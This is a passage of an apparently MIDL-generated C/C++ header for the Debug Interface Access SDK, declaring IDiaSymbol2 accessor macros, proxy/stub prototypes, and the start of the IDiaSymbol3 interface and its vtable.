IDiaSymbol2_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol2_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol2_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol2_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol2_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol2_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol2_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol2_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol2_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol2_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol2_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol2_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol2_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol2_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol2_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol2_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol2_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol2_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol2_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol2_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol2_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol2_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol2_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol2_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol2_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol2_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol2_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol2_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol2_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol2_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol2_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol2_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol2_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol2_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol2_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol2_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol2_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol2_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol2_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol2_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol2_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol2_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol2_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol2_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol2_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol2_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol2_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol2_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol2_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol2_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol2_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol2_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol2_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol2_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol2_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol2_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol2_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol2_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol2_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol2_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol2_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol2_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol2_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol2_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol2_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol2_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol2_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol2_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol2_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol2_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol2_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol2_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol2_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol2_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol2_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol2_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol2_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol2_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol2_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol2_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol2_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol2_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol2_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol2_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol2_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol2_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol2_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol2_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol2_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol2_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol2_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol2_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol2_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol2_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol2_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol2_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol2_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol2_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol2_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol2_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol2_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol2_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol2_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol2_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol2_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol2_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol2_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol2_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol2_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol2_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol2_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol2_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol2_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol2_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol2_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol2_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol2_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol2_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol2_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol2_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol2_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol2_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol2_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol2_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol2_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol2_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol2_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol2_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol2_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol2_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol2_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol2_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol2_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol2_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol2_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol2_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol2_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol2_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol2_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol2_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol2_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol2_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol2_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol2_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol2_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol2_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol2_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol2_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol2_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol2_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol2_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol2_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol2_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol2_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol2_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol2_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol2_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol2_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol2_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol2_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol2_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol2_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol2_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol2_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol2_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol2_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol2_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol2_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol2_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol2_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol2_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol2_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol2_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol2_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol2_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol2_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol2_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol2_get_isObjCClass_Proxy( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol2_get_isObjCClass_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol2_get_isObjCCategory_Proxy( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol2_get_isObjCCategory_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol2_get_isObjCProtocol_Proxy( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol2_get_isObjCProtocol_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol2_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol3_INTERFACE_DEFINED__ #define __IDiaSymbol3_INTERFACE_DEFINED__ /* interface IDiaSymbol3 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol3; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("99b665f7-c1b2-49d3-89b2-a384361acab5") IDiaSymbol3 : public IDiaSymbol2 { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_inlinee( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_inlineeId( /* [retval][out] */ DWORD *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol3Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol3 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol3 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol3 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol3 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol3 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol3 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( 